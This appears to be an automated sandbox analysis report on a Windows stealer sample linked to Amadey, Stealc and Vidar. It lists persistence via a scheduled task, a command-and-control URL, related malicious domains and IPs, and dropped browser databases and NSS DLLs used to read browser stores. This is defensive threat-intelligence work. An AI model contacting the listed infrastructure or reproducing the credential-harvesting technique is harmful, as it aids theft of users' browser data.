Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:53:43	API Interceptor	152x Sleep call for process: file.exe modified
01:55:01	API Interceptor	151x Sleep call for process: skotes.exe modified
07:54:05	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
home.fvtekk5pn.top	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
fg.microsoft.map.fastly.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.214.172
	CZxDiTktSY.exe	Get hash	malicious	XWorm	Browse	199.232.210.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.210.172
	phish_alert_sp2_2.0.0.0 (6).eml	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://storage.googleapis.com/windows_bucket1/turbo/download/TurboVPN_setup.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	ap4pkLeaVp.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	setup.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	vs_BuildTools.zip	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
AKAMAI-ASN1EU	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.44.201.12
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.117.182.32
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.200.3.22
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.117.182.56
	apep.m68k.elf	Get hash	malicious	Unknown	Browse	203.69.141.239
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.55.235.241
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.117.182.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.209.72.42
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.209.72.7
	file.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	P0-4856383648383364838364836483.xls	Get hash	malicious	Unknown	Browse	52.113.195.132
	RFQ AE 3003910999.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	20.233.83.145
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.101.168.44
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.96.153.111
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 20.190.147.10 23.218.208.109
	P0-4856383648383364838364836483.xls	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 20.190.147.10 23.218.208.109
	https://sites.google.com/mdisrupt.com/rfp/home	Get hash	malicious	HTMLPhisher	Browse	172.202.163.200 13.107.246.63 20.190.147.10 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 20.190.147.10 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 20.190.147.10 23.218.208.109
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 20.190.147.10 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 20.190.147.10 23.218.208.109
	425041987.html	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 20.190.147.10 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 20.190.147.10 23.218.208.109
	FGQ-667893.pdf	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 20.190.147.10 23.218.208.109
6271f898ce5be7dd52b0fc260d0662b3	P0-4856383648383364838364836483.xls	Get hash	malicious	Unknown	Browse	150.171.27.10 2.16.158.75
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 2.16.158.75
	file.exe	Get hash	malicious	LummaC Stealer	Browse	150.171.27.10 2.16.158.75
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 2.16.158.75
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 2.16.158.75
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 2.16.158.75
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 2.16.158.75
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 2.16.158.75
	file.exe	Get hash	malicious	LummaC Stealer	Browse	150.171.27.10 2.16.158.75
	file.exe	Get hash	malicious	LummaC Stealer	Browse	150.171.27.10 2.16.158.75
3b5074b1b5d032e5620f69f9f700ff0e	2Brb1DnRS6.wsf	Get hash	malicious	Unknown	Browse	20.198.119.143 20.198.118.190
	pm4ozz83c4.vbs	Get hash	malicious	Unknown	Browse	20.198.119.143 20.198.118.190
	Cargo Invoice_pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	20.198.119.143 20.198.118.190
	NEW P.O.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	20.198.119.143 20.198.118.190
	Salary_Increase_Letter_Nov'24.vbs	Get hash	malicious	Unknown	Browse	20.198.119.143 20.198.118.190
	KAHILINGAN NG BADYET 25-11-2024#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	20.198.119.143 20.198.118.190
	Order Catalog.vbs	Get hash	malicious	GuLoader	Browse	20.198.119.143 20.198.118.190
	URGENT!! DHL invoice SG00101637 Adobe#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	20.198.119.143 20.198.118.190
	MC8017774DOCS.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	20.198.119.143 20.198.118.190
	Pigroots.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	20.198.119.143 20.198.118.190

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\DAEGIIECGHCBFHJKEHDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBFBFBGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2676340364364138
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkM3SA1LyKOMq+8iP5GDHP/0jMVumU:Kq+n0J391LyKOMq+8iP5GLP/0h
MD5:	95D0A9326408B1AF16878F55DA9DF5A9
SHA1:	6819459B4836E0E48A3A5966A72BCF77B819ADF0
SHA-256:	F41D3945CBC451108CA7C32849843A751EFCD9459BB2C2D954702F94E48614C3
SHA-512:	8AED4A8A649CFF012339BE8F759AC4BE16D48378C363C575CEE69A15922C0CD802649CA271EA40B40ECB230546E3AB8AAE7071A8E217D6803BABD52A89C6D0E5
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECGHCBGCBFHIIDHIJKFBKFIJJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEBFHCAKFBGDHIDHIDBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IIJDBAKKKFBFHIDGIIEHIDBGCA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KEGCBFCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKFBFCAFCBKFIEBFHIDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\07a0fb99-7b1f-4315-949c-fbd56352e6c2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44984
Entropy (8bit):	6.095861731946206
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWVwCi1zNt9ld9kO0QWu8SsKJDSgzMMd6qD47u3+CiB:+/Ps+wsI7yOhjiKtSmd6qE7lFoC
MD5:	82E20566E22476FB3880263A4E8D2AFA
SHA1:	68015F9EDE9D3E3C5F1BABCC549F642020C689BB
SHA-256:	4BF34E2F9F1CA97DEC70A6A1407B712B6158C63E19BF1461F259D749A9706677
